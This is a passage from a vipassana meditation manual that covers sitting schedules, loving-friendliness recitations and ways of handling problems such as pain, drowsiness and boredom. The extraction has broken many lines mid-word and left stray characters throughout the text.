The best way to clarify the mental fluid is to just let it settle all by itself. DonM
t add any energy to the situation. Just mindfully watch the mud swirl, without any involvement in the process. Then, when it settles at last, it will stay settled. We exert energy in meditation, but not force. Our only effort is gently, patient mindfulness.
The meditation period is like a cross-section of your whole day. Everything that happens to you is stored away in the mind in some form, mental or emotional. During normal activity, you get so caught up in the press of events that the basic issues with whiM
ch you are dealing are seldom thoroughly handled. They become buried in the unconscious, where they seethe and foam and fester. Then you wonder where all that tension came from. All of this material comes forth in one form or another during your meditation. You get a chance to look at it, see it for what it is, and let it go. We set up a formal meditation period in order to create a conducive environment for this release. We re- establish our mindfulness at regular intervals. We withdraw from those events which conM
stantly stimulate the mind. We back out of all the activity that prods the emotions. We go off to a quiet place and we sit still, and it all comes bubbling out. Then it goes away. The net effect is like recharging a battery. Meditation recharges your mindfulness.
Find yourself a quiet place, a secluded place, a place where you will be alone. It doesn
t have to be some ideal spot in the middle of a forest. That
s nearly impossible for most of us, but it should be a pace where you feel comfortM
able, and where you won
t be disturbed. It should also be a place where you won
t feel on display. You want all of your attention free for meditation, not wasted on worries about how you look to others. Try to pick a spot that is as quiet as possible. It doesn
t have to be a soundproof room, but there are certain noises that are highly distracting, and they should be avoided. Music and talking are about the worst. The mind tends to be sucked in by these sounds in an uncontrollable manner, and there goes your M
There are certain traditional aids that you can employ to set the proper mood. A darkened room with a candle is nice. Incense is nice. A little bell to start and end your sessions is nice. These are paraphernalia, though. They provide encouragement to some people, but they are by no means essential to the practice.
You will probably find it helpful to sit in the same place each time. A special spot reserved for meditation and nothing else is an aid for most people. You soon come to associate thM
at spot with the tranquility of deep concentration, and that association helps you to reach deep states more quickly. The main thing is to sit in a place that you feel is conductive to your own practice. That requires a bit of experimentation. Try several spots until you find one where you feel comfortable. You only need to find a place where you don
t feel self-conscious, and where you can meditate without undue distraction.
Many people find it helpful and supportive to sit with a group of other meditators. TM
he discipline of regular practice is essential, and most people find it easier to sit regularly if they are bolstered by a commitment to a group sitting schedule. You
ve given your word, and you know you are expected. Thus the
 syndrome is cleverly skirted. You may be able to locate a group of practicing meditators in your area. It doesn
t matter if they practice a different form of meditation, so long as it
s one of the silent forms. On the other hand, you also should try to be self-suffiM
cient in your practice. Don
t rely on the presence of a group as your sole motivation to sit. Properly done, sitting is a pleasure. Use the group as an aid, not as a crutch.
The most important rule here is this: When it comes to sitting, the description of Buddhism as the Middle Way applies. Don
t underdo it. This doesn
t mean you just sit whenever the whim strikes you. It means you set up a practice schedule and keep to it with a gently, patient tenacity. Setting up a scM
hedule acts as an encouragement. If, however, you find that your schedule has ceased to be an encouragement and become a burden, then something is wrong. Meditation is not a duty, nor an obligation.
Meditation is psychological activity. You will be dealing with the raw stuff of feelings and emotions. Consequently, it is an activity which is very sensitive to the attitude with which you approach each session. What you expect is what you are most likely to get. Your practice will therefore go best when you are looM
king forward to sitting. If you sit down expecting grinding drudgery, that is probably what will occur. So set up a daily pattern that you can live with. Make it reasonable. Make it fit with the rest of your life. And if it starts to feel like you
re on an uphill treadmill toward liberation, then change something.
First thing in the morning is a great time to meditate. Your mind is fresh then, before you
ve gotten yourself buried in responsibilities. Morning meditation is a fine way to start the day. It tuneM
s you up and gets you ready to deal with things efficiently. You cruise through the rest of the day just a bit more lightly. Be sure you are thoroughly awake, though. You won
t make much progress if you are sitting there nodding off, so get enough sleep. Wash your face, or shower before you begin. You may want to do a bit of exercise beforehand to get the circulation flowing. Do whatever you need to do in order to wake up fully, then sit down to meditate. Do not, however, let yourself get hung up in the day
s just too easy to forget to sit. Make meditation the first major thing you do in the morning.
The evening is another good time for practice. Your mind is full of all the mental rubbish that you have accumulated during the day, and it is great to get rid of the burden before you sleep. Your meditation will cleanse and rejuvenate your mind. Re- establish your mindfulness and your sleep will be real sleep. When you first start meditation, once a day is enough. If you feel like meditating more, thatM
s a burn-out phenomenon we often see in new meditators. They dive right into the practice fifteen hours a day for a couple of weeks, and then the real world catches up with them. They decide that this meditation business just takes too much time. Too many sacrifices are required. They haven
t got time for all of this. Don
t fall into that trap. Don
t burn yourself out the first week. Make haste slowly. Make your effort consistent and steady. Give yourself time to incoM
rporate the meditation practice into your life, and let your practice grow gradually and gently.
As your interest in meditation grows, you
ll find yourself making more room in your schedule for practice. It
s a spontaneous phenomenon, and it happens pretty much by itself
Seasoned meditators manage three or four hours of practice a day. They live ordinary lives in the day-to-day world, and they still squeeze it all in. And they enjoy it. It comes naturally.
milar rule applies here: Sit as long as you can, but don
t overdo. Most beginners start with twenty or thirty minutes. Initially, it
s difficult to sit longer than that with profit. The posture is unfamiliar to Westerners, and it takes a bit of time for the body to adjust. The mental skills are equally unfamiliar, and that adjustment takes time, too.
As you grow accustomed to procedure, you can extend your meditation little by little. We recommend that after a year or so of steady practice you should be sittM
ing comfortable for an hour at a time.
Here is an important point, though: Vipassana meditation is not a form of asceticism. Self-mortification is not the goal. We are trying to cultivate mindfulness, not pain. Some pain is inevitable, especially in the legs. We will thoroughly cover pain, and how to handle it, in Chapter 10. There are special techniques and attitudes which you will learn for dealing with discomfort. The point to be made here is this: This is not a grim endurance contest. You don
ve anything to anybody. So don
t force yourself to sit with excruciating pain just to be able to say that you sat for an hour. That is a useless exercise in ego. And don
t overdo it in the beginning. Know your limitations, and don
t condemn yourself for not being able to sit forever, like a rock.
As meditation becomes more and more a part of your life, you can extend your sessions beyond an hour. As a general rule, just determine what is a comfortable length of time for you at this point in your life. ThenM
 sit five minutes longer than that. There is no hard and fast rule about length of time for sitting. Even if you have established a firm minimum, there may be days when it is physically impossible for you to sit that long. That doesn
t mean that you should just cancel the whole idea for that day. It
s crucial to sit regularly. Even ten minutes of meditation can be very beneficial.
Incidentally, you decide on the length of your session before you meditate. Don
t do it while you are meditating. It
sy to give in to restlessness that way, and restlessness is one of the main items that we want to learn to mindfully observe. So choose a realistic length of time, and then stick to it.
You can use a watch to time you sessions, but don
t peek at it every two minutes to see how you are doing. Your concentration will be completely lost, and agitation will set in. You
ll find yourself hoping to get up before the session is over. That
s clock watching. Don
t look at the clock until M
you think the whole meditation period has passed. Actually, you don
t need to consult the clock at all, at least not every time you meditate. In general, you should be sitting for as long as you want to sit. There is no magic length of time. It is best, though, to set yourself a minimum length of time. If you haven
t predetermined a minimum, you
ll find yourself prone to short sessions. You
ll bolt every time something unpleasant comes up or whenever you feel restless. That
s not good. These experiences aM
re some of the most profitable a meditator can face, but only if you sit through them. You
ve got to learn to observe them calmly and clearly. Look at them mindfully. When you
ve done that enough time, they lose their hold on you. You see them for what they are: just impulses, arising and passing away, just part of the passing show. Your life smooths out beautifully as a consequence.
 is a difficult word for most of us. It conjures up images of somebody standing over you with a stick, tellingM
re wrong. But self-discipline is different. It
s the skill of seeing through the hollow shouting of your own impulses and piercing their secret. They have no power over you. It
s all a show, a deception. Your urges scream and bluster at you; they cajole; they coax; they threaten; but they really carry no stick at all. You give in out of habit. You give in because you never really bother to look beyond the threat. It is all empty back there. There is only one way to learn this lesson, though. TheM
 words on this page won
t do it. But look within and watch the stuff coming up
restlessness, anxiety, impatience, pain
 just watch it come up and don
t get involved. Much to your surprise, it will simply go away. It rises, it passes away. As simple as that. There is another word for
IX) SET-UP EXERCISES
In Theravada Buddhist countries, it is traditional to begin each meditation session with the recitation of a certain set of formulas. An American audienceM
 is likely to take one glance at these invocations and to dismiss them as harmless rituals and nothing more. The so-called rituals, however, have been devised and refined by a set of pragmatic and dedicated men and women, and they have a thoroughly practical purpose. They are therefore worthy of deeper inspection.
The Buddha was considered contrary in his own day. He was born into an intensely over-ritualized society, and his ideas appeared thoroughly iconoclastic to the established hierarchy of his own era. On M
numerous occasions, he disavowed the use of rituals for their own sake, and he was quite adamant about it. This does not mean that ritual has no use. It means that ritual by itself, performed strictly for its own sake, will not get you out of the trap. If you believe that mere recitation of words will save you, then you only increase your own dependence on words and concepts. This moves you away from the wordless perception of reality rather than toward it. Therefore, the formulae which follow must be practiced witM
h a clear understanding of what they are and why they work. They are not magical incantations. They are psychological cleansing devices which require active mental participation in order to be effective. Mumbled words without intention are useless. Vipassana meditation is a delicate psychological activity, and the mental set of the practitioner is crucial to its success. The technique works best in an atmosphere of calm, benevolent confidence. And these recitations have been designed to foster those attitudes. CorrM
ectly used, they can act as a helpful tool on the path to liberation.
The Threefold Guidance:
Meditation is a tough job. It is an inherently solitary activity. One person battles against enormously powerful forces, part of the very structure of the mind doing the meditating. When you really get into it, you will eventually find yourself confronted with a shocking realization. One day you will look inside and realize the full enormity of what you are actually up against. What you are struggling to pierce looksM
 like a solid wall so tightly knit that not a single ray of light shines through. You find yourself sitting there, staring at this edifice and you say to yourself,
That? I am supposed to get past that? But it
s impossible! That is all there is. That is the whole world. That is what everything means, and that is what I use to define myself and to understand everything around me, and if I take that away the whole world will fall apart and I will die. I cannot get through that. I just can
scary feeling, a very lonely feeling. You feel like,
Here I am, all alone, trying to punch away something so huge it is beyond conception.
 To counteract this feeling, it is useful to know that you are not alone. Others have passed this way before. They have confronted that same barrier, and they have pushed their way through to the light. They have laid out the rules by which the job can be done, and they have banded together into a brotherhood for mutual encouragement and support. The Buddha found his way thM
rough this very same wall, and after him came many others. He left clear instructions in the form of the Dhamma to guide us along the same path. And he founded the Sangha, the brotherhood of monks to preserve that path and to keep each other on it. You are not alone, and the situation is not hopeless.
Meditation takes energy. You need courage to confront some pretty difficult mental phenomena and the determination to sit through various unpleasant mental states. Laziness just will not serve. In order to pump up M
your energy for the job, repeat the following statements to yourself. Feel the intention you put into them. Mean what you say.
I am about to tread the very path that has been walked by the Buddha and by his great and holy disciples. An indolent person cannot follow that path. May my energy prevail. May I succeed.
Universal Loving-Friendliness:
Vipassana meditation is an exercise in mindfulness, egoless awareness. It is a procedure in which the ego will be eradicated by the penetrating gaze of mindfulM
ness. The practitioner begins this process with the ego in full command of mind and body. Then, as mindfulness watches the ego function, it penetrates to the roots of the mechanics of ego and extinguishes ego piece by piece. There is a full blown Catch-22 in all this, however. Mindfulness is egoless awareness. If we start with ego in full control, how do we put enough mindfulness there at the beginning to get the job started? There is always some mindfulness present in any moment. The real problem is to gather enouM
gh of it to be effective. To do this we can use a clever tactic. We can weaken those aspects of ego which do the most harm, so that mindfulness will have less resistance to overcome.
Greed and hatred are the prime manifestations of the ego process. To the extent that grasping and rejecting are present in the mind, mindfulness will have a very rough time. The results of this are easy to see. If you sit down to meditate while you are in the grip of some strong obsessive attachment, you will find that you will get M
nowhere. If you are all hung up in your latest scheme to make more money, you probably will spend most of your meditation period doing nothing but thinking about it. If you are in a black fury over some recent insult, that will occupy your mind just as fully. There is only so much time in one day, and your meditation minutes are precious. It is best not to waste them. The Theravada tradition has developed a useful tool which will allow you to remove these barriers from your mind at least temporarily, so that you caM
n get on with the job of removing their roots permanently.
You can use one idea to cancel another. You can balance a negative emotion by instilling a positive one. Giving is the opposite of greed. Benevolence is the opposite of hatred. Understand clearly now: This is not an attempt to liberate yourself by autohypnosis. You cannot condition Enlightenment. Nibbana is an unconditioned state. A liberated person will indeed be generous and benevolent, but not because he has been conditioned to be so. He will be so puM
rely as a manifestation of his own basic nature, which is no longer inhibited by ego. So this is not conditioning. This is rather psychological medicine. If you take this medicine according to directions, it will bring temporary relief from the symptoms of the malady from which you are currently suffering. Then you can get to work in earnest on the illness itself.
You start out by banishing thoughts of self-hatred and self- condemnation. You allow good feelings and good wishes first to flow to yourself, which isM
 relatively easy. Then you do the same for those people closest to you. Gradually, you work outward from your own circle of intimates until you can direct a flow of those same emotions to your enemies and to all living beings everywhere. Correctly done, this can be a powerful and transformative exercise in itself.
At the beginning of each meditation session, say the following sentences to yourself. Really feel the intention:
1. May I be well, happy and peaceful. May no harm come to me. May no difficulties comM
e to me. May no problems come to me. May I always meet with success. May I also have patience, courage, understanding, and determination to meet and overcome inevitable difficulties, problems, and failures in life.
2. May my parents be well, happy and peaceful. May no harm come to them. May no difficulties come to them. May no problems come to them. May they always meet with success. May they also have patience, courage, understanding, and determination to meet and overcome inevitable difficulties, problems, andM
3. May my teachers be well, happy and peaceful. May no harm come to them. May no difficulties come to them. May no problems come to them. May they always meet with success. May they also have patience, courage, understanding, and determination to meet and overcome inevitable difficulties, problems, and failures in life.
4. May my relatives be well, happy and peaceful. May no harm come to them. May no difficulties come to them. May no problems come to them. May they always meet with success.M
 May they also have patience, courage, understanding, and determination to meet and overcome inevitable difficulties, problems, and failures in life.
5. May my friends be well, happy and peaceful. May no harm come to them. May no difficulties come to them. May no problems come to them. May they always meet with success. May they also have patience, courage, understanding, and determination to meet and overcome inevitable difficulties, problems, and failures in life.
6. May all indifferent persons be well, hapM
py and peaceful. May no harm come to them. May no difficulties come to them. May no problems come to them. May they always meet with success. May they also have patience, courage, understanding, and determination to meet and overcome inevitable difficulties, problems, and failures in life.
7. May my enemies be well, happy and peaceful. May no harm come to them. May no difficulties come to them. May no problems come to them. May they always meet with success. May they also have patience, courage, understanding, aM
nd determination to meet and overcome inevitable difficulties, problems, and failures in life.
8. May all living beings be well, happy and peaceful. May no harm come to them. May no difficulties come to them. May no problems come to them. May they always meet with success. May they also have patience, courage, understanding, and determination to meet and overcome inevitable difficulties, problems, and failures in life.
Once you have completed these recitations, lay aside all your troubles and conflicts for thM
e period of practice. Just drop the whole bundle. If they come back into your meditation later, just treat them as what they are, distractions.
The practice of Universal Loving-Friendliness is also recommended for bedtime and just after arising. It is said to help you sleep well and to prevent nightmares. It also makes it easier to get up in the morning. And it makes you more friendly and open toward everybody, friend or foe, human or otherwise.
The most damaging psychic irritant arising in the mind particulaM
rly at the time when the mind is quiet, is resentment. You may experience indignation remembering some incident that caused you psychological and physical pain. This experience can cause you uneasiness, tension, agitation and worry. You might not be able to go on sitting and experiencing this state of mind. Therefore, we strongly recommend that you should start your meditation with generating Universal Loving-Friendliness.
You sometimes may wonder how can we wish:
May my enemies be well, happy and peaceful. MM
ay no harm come to them; may no difficulty come to them; may no problems come to them; may they always meet with success. May they also have patience, courage, understanding and determination to meet and overcome inevitable difficulties, problems and failures in life
You must remember that you practice loving-friendliness for the purification of your own mind, just as you practice meditation for your own attainment of peace and liberation from pain and suffering. As you practice loving-friendliness within yoM
urself, you can behave in a most friendly manner without biases, prejudices, discrimination or hate. Your noble behavior helps you to help others in a most practical manner to reduce their pain and suffering. It is compassionate people who can help others. Compassion is a manifestation of loving-friendliness in action, for one who does not have loving-friendliness cannot help others. Noble behavior means behaving in a most friendly and most cordial manner. Behavior includes your thought speech and action. If this tM
riple mode of expression of your behavior is contradictory, your behavior cannot be noble behavior. On the other hand, pragmatically speaking, it is much better to cultivate the noble thought,
May all beings be happy minded
. Our noble thought will one day express itself in noble behavior and our spiteful thought in evil behavior.
Remember that your thoughts are transformed into speech and action in order to bring the expected result. Thought translated into action is capaM
ble of producing tangible result. You should always speak and do things with mindfulness of loving-friendliness. While speaking of loving-friendliness, if you act or speak in a diametrically opposite way you will be reproached by the wise. As mindfulness of loving-friendliness develops, your thoughts, words and deeds should be gently, pleasant, meaningful, truthful and beneficial to you as well as to others. If your thoughts, words or deeds cause harm to you, to others or to both, then you must ask yourself whetherM
 you are really mindful of loving-friendliness.
For all practical purposes, if all of your enemies are well, happy and peaceful, they would not be your enemies. If they are free from problems, pain, suffering, affliction, neurosis, psychosis, paranoia, fear, tension, anxiety, etc., they would not be your enemies. Your practical solution to your enemies is to help them to overcome their problems, so you can live in peace and happiness. In fact, if you can, you should fill the minds of all your enemies with lovingM
-friendliness and make all of them realize the true meaning of peace, so you can live in peace and happiness. The more they are in neurosis, psychosis, fear, tension, anxiety, etc., the more trouble, pain and suffering they can bring to the world. If you could convert a vicious and wicked person into a holy and saintly individual, you would perform a miracle. Let us cultivate adequate wisdom and loving- friendliness within ourselves to convert evil minds to saintly minds.
When you hate somebody you think,
 him be ugly. Let him lie in pain. Let him have no prosperity. Let him not be right. Let him not be famous. Let him have no friends Let him, after death, reappear in an unhappy state of depravation in a bad destination in perdition.
 However, what actually happens is that your own body generates such harmful chemistry that you experience pain, increased heartbeat, tension, change of facial expression, loss of appetite for food, deprivation of sleep and appear very unpleasant to others. You go through the same thiM
ngs you wish for your enemy. Also you cannot see the truth as it is. Your mind is like boiling water. Or you are like a patient suffering from jaundice to whom any delicious food tastes bland. Similarly, you cannot appreciate somebody
s appearance, achievement, success, etc. As long as this condition exists, you cannot meditate well.
Therefore we recommend very strongly that you practice loving-friendliness before you start your serious practice of meditation. Repeat the proceeding passages very mindfully and M
meaningfully. As you recite these passages, feel true loving-friendliness within yourself first and then share it with others, for you cannot share with others what you do not have within yourself.
Remember, though, these are not magic formulas. They don
t work by themselves. If you use them as such, you will simply waste time and energy. But if you truly participate in these statements and invest them with your own energy, they will serve you will. Give them a try. See for yourself.
X) DEALING WITH PROBLM
You are going to run into problems in your meditation. Everybody does. Problems come in all shapes and sizes, and the only thing you can be absolutely certain about is that you will have some. The main trick in dealing with obstacles is to adopt the right attitude. Difficulties are an integral part of your practice. They aren
t something to be avoided. They are something to be used. They provide invaluable opportunities for learning.
The reason we are all stuck in life
s mud is that we ceaselessly runM
 from our problems and after our desires. Meditation provides us with a laboratory situation in which we can examine this syndrome and devise strategies for dealing with it. The various snags and hassles that arise during meditation are grist for the mill. They are the material on which we work. There is no pleasure without some degree of pain. There is no pain without some amount of pleasure. Life is composed of joys and miseries. They go hand-in-hand. Meditation is no exception. You will experience good times andM
 bad times, ecstasies and frightening times.
t be surprised when you hit some experience that feels like a brick wall. Don
t think you are special. Every seasoned meditator has had his own brick walls. They come up again and again. Just expect them and be ready to cope. Your ability to cope with trouble depends upon your attitude. If you can learn to regard these hassles as opportunities, as chances to develop in your practice, you
ll make progress. Your ability to deal with some issue that arises iM
n meditation will carry over into the rest of your life and allow you to smooth out the big issues that really bother you. If you try to avoid each piece of nastiness that arises in meditation, you are simply reinforcing the habit that has already made life seem so unbearable at times.
It is essential to learn to confront the less pleasant aspects of existence. Our job as meditators is to learn to be patient with ourselves, to see ourselves in an unbiased way, complete with all our sorrows and inadequacies. We hM
ave to learn to be kind to ourselves. In the long run, avoiding unpleasantness is a very unkind thing to do to yourself. Paradoxically, friendliness entails confronting unpleasantness when it arises. One popular human strategy for dealing with difficulty is autosuggestion: when something nasty pops up, you convince yourself it is pleasant rather than unpleasant. The Buddha
s tactic is quite the reverse. Rather than hide it or disguise it, the Buddha
s teaching urges you to examine it to death. Buddhism advises M
you not to implant feelings that you don
t really have or avoid feelings that you do have. If you are miserable you are miserable; this is the reality, that is what is happening, so confront that. Look it square in the eye without flinching. When you are having a bad time, examine the badness, observe it mindfully, study the phenomenon and learn its mechanics. The way out of a trap is to study the trap itself, learn how it is built. You do this by taking the thing apart piece by piece. The trap can
f it has been taken to pieces. The result is freedom.
This point is essential, but it is one of the least understood aspects of Buddhist philosophy. Those who have studied Buddhism superficially are quick to conclude that it is a pessimistic set of teachings, always harping on unpleasant things like suffering, always urging us to confront the uncomfortable realities of pain, death and illness. Buddhist thinkers do not regard themselves as pessimists
quite the opposite, actually. Pain exists in the universe; soM
me measure of it is unavoidable. Learning to deal with it is not pessimism, but a very pragmatic form of optimism. How would you deal with the death of your spouse? How would you feel if you lost your mother tomorrow? Or your sister or your closest friend? Suppose you lost your job, your savings, and the use of your hands, on the same day; could you face the prospect of spending the rest of your life in a wheelchair? How are you going to cope with the pain of terminal cancer if you contract it, and how will you deaM
l with your own death, when that approaches? You may escape most of these misfortunes, but you won
t escape all of them. Most of us lose friends and relatives at some time during our lives; all of us get sick now and then; at the very least you are going to die someday. You can suffer through things like that or you can face them openly
the choice is yours.
Pain is inevitable, suffering is not. Pain and suffering are two different animals. If any of these tragedies strike you in your present state of mind, yM
ou will suffer. The habit patterns that presently control your mind will lock you into that suffering and there will be no escape. A bit of time spent in learning alternatives to those habit patterns is time will-invested. Most human beings spend all their energies devising ways to increase their pleasure and decrease their pain. Buddhism does not advise that you cease this activity altogether. Money and security are fine. Pain should be avoided where possible. Nobody is telling you to give away all your possessionM
s or seek out needless pain, but Buddhism does advise you to invest some of your time and energy in learning to deal with unpleasantness, because some pain is unavoidable.
When you see a truck bearing down on you, by all means jump out of the way. But spend some time in meditation, too. Learning to deal with discomfort is the only way you
ll be ready to handle the truck you didn
Problems arise in your practice. Some of them will be physical, some will be emotional, and some will be attitudinal. AllM
 of them are confrontable and each has its own specific response. All of them are opportunities to free yourself.
Problem 1 - Physical Pain:
Nobody likes pain, yet everybody has some sometime. It is one of life
s most common experiences and is bound to arise in your meditation in one form or another. Handling pain is a two-stage process. First, get rid of the pain if possible or at least get rid of it as much as possible. Then, if some pain lingers, use it as an abject of meditation.
The first step is phM
ysical handling. Maybe the pain is an illness of one sort or another, a headache, fever, bruises or whatever. In this case, employ standard medical treatments before you sit down to meditate: take your medicine, apply your liniment, do whatever you ordinarily do. Then there are certain pains that are specific to the seated posture. If you never spend much time sitting cross-legged on the floor, there will be an adjustment period. Some discomfort is nearly inevitable. According to where the pain is, there are specifM
ic remedies. If the pain is in the leg or knees, check your pants. If they are tight or made of thick material, that could be the problem. Try to change it. Check your cushion, too. It should be about three inches in height when compressed. If the pain is around your waist, try loosening your belt. Loosen the waistband of your pants is that is necessary. If you experience pain in your lower back, your posture is probably at fault. Slouching will never be comfortable, so straighten up. Don
t be tight or rigid, butM
 do keep your spine erect. Pain in the neck or upper back has several sources. The first is improper hand position. Your hands should be resting comfortably in your lap. Don
t pull them up to your waist. Relax your arms and your neck muscles. Don
t let your head droop forward. Keep it up and aligned with the rest of the spine.
After you have made all these various adjustments, you may find you still have some lingering pain. If that is the case, try step two. Make the pain your object of meditation. Don
jump up and down and get excited. Just observe the pain mindfully. When the pain becomes demanding, you will find it pulling your attention off the breath. Don
t fight back. Just let your attention slide easily over onto the simple sensation. Go into the pain fully. Don
t block the experience. Explore the feeling. Get beyond your avoiding reaction and go into the pure sensations that lie below that. You will discover that there are two things present. The first is the simple sensation
pain itself. Second is yM
our resistance to that sensation. Resistance reaction is partly mental and partly physical. The physical part consists of tensing the muscles in and around the painful area. Relax those muscles. Take them one by one and relax each one very thoroughly. This step alone probably diminishes the pain significantly. Then go after the mental side of the resistance. Just as you are tensing physically, you are also tensing psychologically. You are clamping down mentally on the sensation of pain, trying to screen it off and M
reject it from consciousness. The rejection is a wordless,
 attitude. It is very subtle. But it is there, and you can find it if you really look. Locate it and relax that, too.
That last part is more subtle. There are really no human words to describe this action precisely. The best way to get a handle on it is by analogy. Examine what you did to those tight muscles and transfer that same action over to the mental sphere; relax the mind in the same way that you rM
elax the body. Buddhism recognizes that the body and mind are tightly linked. This is so true that many people will not see this as a two-step procedure. For them to relax the body is to relax the mind and vice versa. These people will experience the entire relaxation, mental and physical, as a single process. In any case, just let go completely till you awareness slows down past that barrier which you yourself erected. It was a gap, a sense of distance between self and others. It was a borderline between
. Dissolve that barrier, and separation vanishes. You slow down into that sea of surging sensation and you merge with the pain. You become the pain. You watch its ebb and flow and something surprising happens. It no longer hurts. Suffering is gone. Only the pain remains, an experience, nothing more. The
 who was being hurt has gone. The result is freedom from pain.
This is an incremental process. In the beginning, you can expect to succeed with small pains and be defeated by big ones. LM
ike most of our skills, it grows with practice. The more you practice, the bigger the pain you can handle. Please understand fully. There is no masochism being advocated here. Self- mortification is not the point.
This is an exercise in awareness, not in sadism. If the pain becomes excruciating, go ahead and move, but move slowly and mindfully. Observe your movements. See how it feels to move. Watch what it does to the pain. Watch the pain diminish. Try not to move too much though. The less you move, the easier M
it is to remain fully mindful. New meditators sometimes say they have trouble remaining mindful when pain is present. This difficulty stems from a misunderstanding. These students are conceiving mindfulness as something distinct from the experience of pain. It is not. Mindfulness never exists by itself. It always has some object and one object is as good as another. Pain is a mental state. You can be mindful of pain just as you are mindful of breathing.
The rules we covered in Chapter 4 apply to pain just as theM
y apply to any other mental state. You must be careful not to reach beyond the sensation and not to fall short of it. Don
t add anything to it, and don
t miss any part of it. Don
t muddy the pure experience with concepts or pictures or discursive thinking. And keep your awareness right in the present time, right with the pain, so that you won
t miss its beginning or its end. Pain not viewed in the clear light of mindfulness gives rise to emotional reactions like fear, anxiety, or anger. If it is properly viM
ewed, we have no such reaction. It will be just sensation, just simple energy. Once you have learned this technique with physical pain, you can then generalize it in the rest of your life. You can use it on any unpleasant sensation. What works on pain will work on anxiety or chronic depression. This technique is one of life
s most useful and generalizable skills. It is patience.
Problem 2 - Legs Going to Sleep:
It is very common for beginners to have their legs fall asleep or go numb during meditation. TheyM
 are simply not accustomed to the cross-legged posture. Some people get very anxious about this. They feel they must get up and move around. A few are completely convinced that they will get gangrene from lack of circulation. Numbness in the leg is nothing to worry about. it is caused by nerve-pinch, not by lack of circulation. You can
t damage the tissues of your legs by sitting. So relax. When your legs fall asleep in meditation, just mindfully observe the phenomenon. Examine what it feels like. It may be sort M
of uncomfortable, but it is not painful unless you tense up. Just stay calm and watch it. It does not matter if your legs go numb and stay that way for the whole period. After you have meditated for some time, that numbness gradually will disappear. Your body simply adjusts to daily practice. Then you can sit for very long sessions with no numbness whatever.
Problem 3 - Odd Sensations:
People experience all manner of varied phenomena in meditation. Some people get itches. Others feel tingling, deep relaxationM
, a feeling of lightness or a floating sensation. You may feel yourself growing or shrinking or rising up in the air. Beginners often get quite excited over such sensations. As relaxation sets in, the nervous system simply begins to pass sensory signals more efficiently. Large amounts of previously blocked sensory data can pour through, giving rise to all manner of unique sensations. It does not signify anything in particular. It is just sensation. So simply employ the normal technique. Watch it come up and watch iM
Problem 4 - Drowsiness:
It is quite common to experience drowsiness during meditation. You become very calm and relaxed. That is exactly what is supposed to happen. Unfortunately, we ordinarily experience this lovely state only when we are falling asleep, and we associate it with that process. So naturally, you begin to drift off. When you find this happening, apply your mindfulness to the state of drowsiness itself. Drowsiness has certain definite characteristics. It does cM
ertain things to your thought process. Find out what. It has certain body feelings associated with it. Locate those.
This inquisitive awareness is the direct opposite of drowsiness, and will evaporate it. If it does not, then you should suspect a physical cause of your sleepiness. Search that out and handle it. If you have just eaten large meal, that could be the cause. It is best to eat lightly before you meditate. Or wait an hour after a big meal. And don
t overlook the obvious either. If you have been out lM
oading bricks all day, you are naturally going to be tired. The same is true if you only got a few hours
 sleep the night before. Take care of your body
s physical needs. Then meditate. Do not give in to sleepiness. Stay awake and mindful, for sleep and meditative concentration are two diametrically opposite experiences. You will not gain any new insight from sleep, but only from meditation. If you are very sleepy then take a deep breath and hold it as long as you can. Then breathe out slowly. Take another deepM
 breath again, hold it as long as you can and breathe out slowly. Repeat this exercise until your body warms up and sleepiness fades away. Then return to your breath.
Problem 5 - Inability To Concentrate:
An overactive, jumping attention is something that everybody experiences from time to time. It is generally handled by techniques presented in the chapter on distractions. You should also be informed, however, that there are certain external factors which contribute to this phenomenon. And these are best hanM
dled by simple adjustments in your schedule. Mental images are powerful entities. They can remain in the mind for long periods. All of the storytelling arts are direct manipulation of such material, and to the extent the writer has done his job well, the characters and images presented will have a powerful and lingering effect on the mind. If you have been to the best movie of the year, the meditation which follows is going to be full of those images. If you are halfway through the scariest horror novel you ever reM
ad, your meditation is going to be full of monsters. So switch the order of events. Do your meditation first. Then read or go to the movies.
Another influential factor is your own emotional state. If there is some real conflict in your life, that agitation will carry over into meditation. Try to resolve your immediate daily conflicts before meditation when you can. Your life will run smoother, and you won
t be pondering uselessly in your practice. But don
t use this advice as a way to avoid meditation. SometM
t resolve every issue before you sit. Just go ahead and sit anyway. Use your meditation to let go of all the egocentric attitudes that keep you trapped within your own limited viewpoint. Your problems will resolve much more easily thereafter. And then there are those days when it seems that the mind will never rest, but you can
t locate any apparent cause. Remember the cyclic alternation we spoke of earlier. Meditation goes in cycles. You have good days and you have bad days.
Vipassana meditatioM
n is primarily an exercise in awareness. Emptying the mind is not as important as being mindful of what the mind is doing. If you are frantic and you can
t do a thing to stop it, just observe. It is all you. The result will be one more step forward in your journey of self-exploration. Above all, don
t get frustrated over the nonstop chatter of your mind. That babble is just one more thing to be mindful of.
Problem 6 - Boredom:
It is difficult to imagine anything more inherently boring than sitting still fM
or an hour with nothing to do but feel the air going in and out of your nose. You are going to run into boredom repeatedly in your meditation. Everybody does. Boredom is a mental state and should be treated as such. A few simple strategies will help you to cope.
Tactic A: Re-establish true mindfulness
If the breath seems an exceedingly dull thing to observe over and over, you may rest assured of one thing: You have ceased to observe the process with true mindfulness. Mindfulness is never boring. Look again. DM
t assume that you know what breath is. Don
t take it for granted that you have already seen everything there is to see. If you do, you are conceptualizing the process. You are not observing its living reality. When you are clearly mindful of breath or indeed anything else, it is never boring. Mindfulness looks at everything with the eyes of a child, with the sense of wonder. Mindfulness sees every second as if it were the first and the only second in the universe. So look again.
Tactic B: Observe your menM
Look at your state of boredom mindfully. What is boredom? Where is boredom? What does it feel like? What are its mental component? Does it have any physical feeling? What does it do to your thought process? Take a fresh look at boredom, as if you have never experienced that state before.
States of fear sometimes arise during meditation for no discernible reason. It is a common phenomenon, and there can be a number of causes. You may be experiencing the effect of something represM
sed long ago. Remember, thoughts arise first in the unconscious. The emotional contents of a thought complex often leach through into your conscious awareness long before the thought itself surfaces. If you sit through the fear, the memory itself may bubble up where you can endure it. Or you may be dealing directly with that fear which we all fear:
. At some point in your meditation career, you will be struck with the seriousness of what you are actually doing. You are tearing down the wallM
 of illusion you have always used to explain life to yourself and to shield yourself from the intense flame of reality. You are about to meet ultimate truth face to face. That is scary. But it has to be dealt with eventually. Go ahead and dive right in.
A third possibility: the fear that you are feeling may be self-generated. It may be arising out of unskillful concentration. You may have set an unconscious program to
examine what comes up.
 Thus when a frightening fantasy arises, concentration locks onto iM
